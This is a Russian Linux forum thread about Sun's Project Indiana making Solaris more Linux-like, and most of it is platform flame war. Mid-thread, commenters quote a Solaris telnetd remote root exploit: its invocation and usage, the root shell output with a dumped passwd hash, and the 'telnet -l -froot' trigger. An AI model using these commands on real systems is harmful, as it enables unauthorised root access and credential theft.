LINUX.ORG.RU

Проект Indiana: Solaris с лицом Linux?


0

0

На конференции JavaOne Ян Мэрдок рассказал, что ведутся работы над проектом Indiana, в рамках которого планируется сделать Solaris более похожим на Linux, т.е. для упрощения адаптации пользователей Linux пришедших в Solaris...

>>> Подробности

★★

Проверено: maxcom ()

Ян Мэрдок поможет солнцевским допилить соплярис до уровня Linux? Врядли это хорошая идея. Пусть это убогое поделие доживает свои последние дни на спарках...

anonymous
()

Типа взять Solaris и обрабатывать напильником пока не станет Linux?
А почему сразу не взять Linux?

DIMON ★★★
()
Ответ на: комментарий от anonymous

Я очень рад этой новости. Наконец-то мы получим нормальную операционку. Думаю, что новая ОС сделает такой же переворот на рынке осей, какой переворот сделала Java в мире языков программирования. Sun просто так денежки не платит.

anonymous
()
Ответ на: комментарий от anonymous

Аццтой,музей имени Соляриса Спарка хотят превратить в наш многоэтажный дом=).Раньше от нее хоть какая-то(историческая) польза была,так сказать ¨логическое¨ продолжение SysV.Можно было сходить,посмотреть как люди жили в каменном веке.

Нууу,желаю соляре мучительно здохнуть(ассилимироваться).

anonymous
()
Ответ на: комментарий от DIMON

>Ян Мэрдок поможет солнцевским допилить соплярис до уровня Linux?

Полагаю пилить будут бабло под это дело, а не солярку :-)

DIMON ★★★
()

не туда целятся ;) пусть лучше целятся и стреляют в винду ;)))

AcidumIrae ★★★★★
()

Навевает интересные асоциации:
- OS/2 допиливали для совместимости с Windows....
- BDS допиливали, для совместимости с Linux...
- SCO Unix допиливали для совместимости с Linux...
- Solaris решили пилить в том же направлении.

По моему, лучге перенесли бы то, что у них осталось advanced в Linux и не мучились. "Патриоты"....

NonHuman ★★★
()

>для упрощения адаптации пользователей Linux пришедших в Solaris... Или для упрощения адаптации пользователей Solaris пришедших в Linux :)))

petrosha ★★★★★
()

А что.. Интересный проэкт. ;-) Может чего из того и выйдет хорошего...

MiracleMan ★★★★★
()

> для упрощения адаптации пользователей Linux пришедших в Solaris

А такие есть?

aspell
()
Ответ на: комментарий от mitek

Да и под что постраиваться-то?

Сразу вспомнилось man 1 ps в линуксе. Большего бардака себе и представить страшно... В солярке одноимённые бинари с разным поведением хотя бы в разных путях лежат.

Зато порадовало, что в линуксе наконец-то сделали pkill(1)/pgrep(1)... А то killall(1) страшновато было использовать, как-то подсознательно.

mitek
()

Руки прочь от соляры! Мердока на кол!

Нашелся мля очередной пионер-вожатый осиливший запустить на солярке гцц.

Солярис должен развиваться в той области где рулит сейчас а не пытаться переплюнуть линукс.

signal
()

>в рамках которого планируется сделать Solaris более похожим на Linux

И всё таки в Sun собираются выпустить велосипед ??? Есть же Nexenta...

robot12 ★★★★★
()
Ответ на: комментарий от robot12

Через годика два,соплярщики уже не будут орать,что Линь поделка для пеонеров,гы!Мы их уделали!

Хотя с другой стороны холиваров будет ментше:(

anonymous
()
Ответ на: комментарий от robot12

>И всё таки в Sun собираются выпустить велосипед ??? Есть же Nexenta...

Я тоже не совсем втыкаю - в одном из направлений они говорят, что хотят приделать к Солярке какую-нидь систему управления пакетами, но так это уже реализовано в Nexenta путём OpenSoaris + apt-get.., этот дистр даже можно назвать Debian GNU/OpenSolaris..

dragon_djanic ★★
() автор топика
Ответ на: комментарий от zanswer

> Судя по всему нет, потому что Solaris 10 для сервера не чем не хуже Linux по юзабельности...:)))

Вот только с железом отличным от спарок у соляриса хреново.

anonymous
()
Ответ на: комментарий от glush

> Не по поводу новости, а по поводу комментов.. Товарищи вообще с Solaris _работали_?

Да работали мы с ней, работали, даже скриншоты на память остались :)

[anonymous@linux rulez]$ ./telnet -u root -h *.*.*.*
============================================================
Solaris 5.6 7 8 telnetd Remote exploit
Tested for:
SunOS 5.5, 5.5.1, 5.6, 5.7, 5.8 Sparc
SunOS 5.7, 5.8 x86
Code by lion, Welcome to HUC website http://www.cnhonker.com

send to target:
root c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c
c c c c c c c c c c c c c c c

cd /; id; pwd; uname -a;
uid=0(root) gid=1(other)
/
SunOS blah 5.8 Generic_108528-06 sun4u sparc SUNW,Sun-Blade-1000
blah# ypcat -x
Use "passwd" for map "passwd.byname"
Use "group" for map "group.byname"
Use "project" for map "project.byname"
Use "networks" for map "networks.byaddr"
Use "hosts" for map "hosts.byname"
Use "ipnodes" for map "ipnodes.byname"
Use "protocols" for map "protocols.bynumber"
Use "services" for map "services.byname"
Use "aliases" for map "mail.aliases"
Use "ethers" for map "ethers.byname"
blah# ypcat passwd
blahblablah:IX9EowuvHlak6:21482:10:Blah Blah:/home/blah/blah:/bin/csh
<to be continued>

Замечательная дырявая система, с извращенской концепцией BSD и
неудобными утилитами. С интерпрайз Ping Of Death, дырявым ядром,
дырявыми утилитами и вечно дырявым телнетом. Ж)

anonymous
()
Ответ на: комментарий от anonymous

>[anonymous@linux rulez]$ ./telnet -u root -h *.*.*.*

Ты хоть команду пиши правильно ламер анонимный:

telnet -l &#8220;-froot&#8221; [hostname]

И это - кончай уже музеи грабить да? А то я тоже щас откопаю в подвале старенький sgi o2 с ириксом 96 года и начну рассказывать какой он дырявый.

signal
()
Ответ на: комментарий от robot12

>И всё таки в Sun собираются выпустить велосипед ??? Есть же Nexenta..

Nexenta довольно сырой проект, насколько я знаю от людей, которые ставили её посмотреть и попробовать. Надеюсь, что Мердок как создатель Дебиана не пойдет по пути изобретения велосипедов

argin ★★★★★
()
Ответ на: комментарий от signal

> Ты хоть команду пиши правильно ламер анонимный

Не умничай, зарегистрированный ламер:

Usage: ./telnet [-u user] [-p port] <-h host>

-u: login username (default: bin), try "root" :)
-p: port to use (default: 23)

> И это - кончай уже музеи грабить да?

Solaris 10 с дырявым телнетом тоже записали в музей? :)

> А то я тоже щас откопаю в подвале старенький sgi o2 с ириксом 96 года и начну рассказывать какой он дырявый.

Да, такой же дырявый как солярис. ^^)

anonymous
()
Ответ на: комментарий от anonymous




Проффесионал! Ну иди дальше дерьмо мети :)

Solaris 10 в этом конкретном случае не уязвим.

А вообще смешно смотреть ка линуксоиды (которые уже всех победили) начинают в ужасе высирать тонны дерьма, при любом сообшении что есть системы лучше :)))

anonymous
()
Ответ на: комментарий от anonymous

> Solaris 10 в этом конкретном случае не уязвим.

Конкретно в нем телнет тоже дырявый. А 5.8 и 5.9 стоят не только в музее. :)

> А вообще смешно смотреть ка линуксоиды (которые уже всех победили) начинают в ужасе высирать тонны дерьма, при любом сообшении что есть системы лучше :)))

Еще смешнее, когда сопляроводы покупаются на провокацию и начинают кричать брызгая слюнями, что Солярис ТРУЪ, что он заруливает все нафих, правда для нормальной работы нужно прикупить СПАРК, потому как только там у него нет проблем с поддержкой железа, и начинают прыгать как уж на сковородке, пытаясь оправдать пионерские дыры.

Вот прикрутит Ян Мердок к Соплярису APT и GNU-тые утилиты, доведут ядро сопляриса на отличных от SPARC платформах до уровня Linux, вот тогда, может быть, Линуксоиды и обратят на него внимание, а пока - фтопку. Ж)))

anonymous
()
Ответ на: комментарий от glush

>Не по поводу новости, а по поводу комментов.. Товарищи вообще с Solaris _работали_?

Смотрел OpenSolaris (Developer Express и Nexenta). Весма удобные и быстрые операционки. Не потребовали допиливания руками -- работает искароппки (включая нативный драйвер NVIDIA). С командной строкой Solaris не знаком. Собираюсь со временем переходить с FreeBSD на Solaris, там мышкой удобнее щёлкать. Linux фтоппку. ;)

iZEN ★★★★★
()
Ответ на: комментарий от anonymous

>Вот только с железом отличным от спарок у соляриса хреново.

На интеловской платформе соляра откровенно сосет

DIMON ★★★
()
Ответ на: комментарий от glush

>Товарищи вообще с Solaris _работали_?
Да. А многие, даже с Sun OS.
А вы, работали с Linux?
Не администрировали, а именно РАБОТАЛИ.

NonHuman ★★★
()

Почитал тред... бессмыслица какая-то... будет больше стандартизировано будет всем больше проку. В чем спор?

Piligrim03
()
Ответ на: комментарий от anonymous

>Не умничай, зарегистрированный ламер:

>Usage: ./telnet [-u user] [-p port] <-h host>

Мля, быдло анонимное я тебе привел код реальной ошибки, а не млять параметры запуска готового эксплоита на основе этой дырки

>Solaris 10 с дырявым телнетом тоже записали в музей? :)

"Solaris 5.6 7 8 telnetd Remote exploit"

Может хватит п%здеть а?

>Да, такой же дырявый как солярис. ^^)

Ну ептваю так, десятый солярис вышел два года назад, 9й - 4года,8й -7 лет назад, поставь любой дистрибьютив линукса тех же лет в дефолтной настройке и замерь сколько он проживет в сети.Тебя поимеют даже не люди - боты спамерские.Твой сервер станет частью ботнета быстрее чем успеешь сказать "линух рулез".

P.S. Таким как ты когда-то не давали машинного времени и заставляли считать все вручную, с тех пор и повелось.

signal
()
Ответ на: комментарий от signal

> Солярис должен развиваться в той области где рулит сейчас

А где он сейчас рулит - на больших SPARC? Так это слишком узкая ниша.

tailgunner ★★★★★
()
Ответ на: комментарий от tailgunner

>А где он сейчас рулит - на больших SPARC? Так это слишком узкая ниша.

И что? Есть куча узкоспециализированных задач где рулят свои узкоспециализированные, дорогие и качественные решения.

Вообщем пусть лучше его на спарках и большом железе развивают а не на позорных персоналках.

signal
()
Ответ на: комментарий от signal

>>А где он сейчас рулит - на больших SPARC? Так это слишком узкая ниша.

>И что? Есть куча узкоспециализированных задач

Судя по положению Санок, не так уж и рулят. Они бы не лезли во все щели, если бы дела шли хорошо.

> позорных персоналках.

Это снобизм, батенька

tailgunner ★★★★★
()
Ответ на: комментарий от anonymous

> Вот только с железом отличным от спарок у соляриса хреново.

Да, на данный момент хуже, - по сравнениею с Linux тем болие, но шаги в сторону добавления поддержки есть и они делаються, да, и вообщем-то на ряд серверов от DELL, HP, IBM, не говорю уже про SUN-овские, всё таки она ставиться и хорошо там живёт, - только без фанатизма, не нужно находить на какие сервера она не станет и что будет глючить, речь не об этом...:)))

zanswer
()
Ответ на: комментарий от tailgunner

>Судя по положению Санок, не так уж и рулят. Они бы не лезли во все щели, если бы дела шли хорошо.

Ну может с точки зрения бизнеса выгоднее сувать ее везде. Вот только на качестве это скажется очень хреново.

>Это снобизм, батенька

А ты предлагаешь одну ос для мейнфреймов,кластеров,рутеров и персоналок?

Нельзя ведь рулить везде одновременно.

signal
()
Ответ на: комментарий от dragon_djanic

Нет это я в который уж раз отстаиваю поруганную обьективную реальность :)

signal
()
Ответ на: комментарий от anonymous

> Вот прикрутит Ян Мердок к Соплярису APT и GNU-тые утилиты

Утилита на манер apt-get уже существует и давно, называеться она pkg-get, единственное она не от SUN, а от BlastWare комунити, да и GNU-тые утилиты, как Вы выразились, тоже давным давно уже доступны и ставяться из соответствующих пакетов, как и BSD утилиты, и XPG4 утилиты и так далее...:)))

zanswer
()
Ответ на: комментарий от mitek

> Зато порадовало, что в линуксе наконец-то сделали pkill(1)/pgrep(1)... А то killall(1) страшновато было использовать, как-то подсознательно.

Не знаю насчет pkill, но вот skill уже хрен знает сколько лет... А то, что в солярисе утилиты не так называются и не держат навороченные gnu-опции как раз и есть бардак, и, к счастью, теперь этго будет исправляться..

anonymous
()
Ответ на: комментарий от anonymous

Ну то что, некоторые утилиты действительно называються не так и имеют несколько другой функцанал - это есть, но ведь кому нужен функцанал GNU программ, всегда могут для этого поставить соотвествующие пакеты, другое дело, что стандартов много и у каждого свои плюсы, и свои минусы, напримет отказ от init.d системы в Solaris 10, и переход на SMF - это просто Рай, лично для меня, по сравнению с init.d системой, но енто !!!IMXO!!!, а то что, добавят некой стандартизации или пакетов для совместимости с Linux больше зделают, я думаю - это только плюс, а если ещё и BrandZ контейнеры улучьшат, так вообще будет отлично...:)))

zanswer
()
Ответ на: комментарий от anonymous

>Думаю, что новая ОС сделает такой же переворот на рынке осей, какой переворот сделала Java в мире языков программирования

Теперь будут не только жабобыдлокодеры, но и быдлоадмины

anonymous
()
Ответ на: комментарий от anonymous

>Теперь будут не только жабобыдлокодеры, но и быдлоадмины

Быдлоадмины как раз в основной массе в линуксе сидят и зюзероутерами рулят, а чтобы админить боевой санфайр с соляркой нужно долго и упорно учиться. Это тебе не файрвол yast'ом настраивать.

signal
()
Ответ на: комментарий от signal

> а чтобы админить боевой санфайр с соляркой нужно долго и упорно учиться.

Ну Solaris тоже можно зделать намного болие простой в обслуживание, со всякими SMC и Java Web Console, только вот, нужно ли енто делать, при не большом количестве таких сервером, относительно не большом скажем так лучьше...:)))

zanswer
()

Всё равно нет ничего лучше, чем Hurd и РусОС

Zmacs
()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.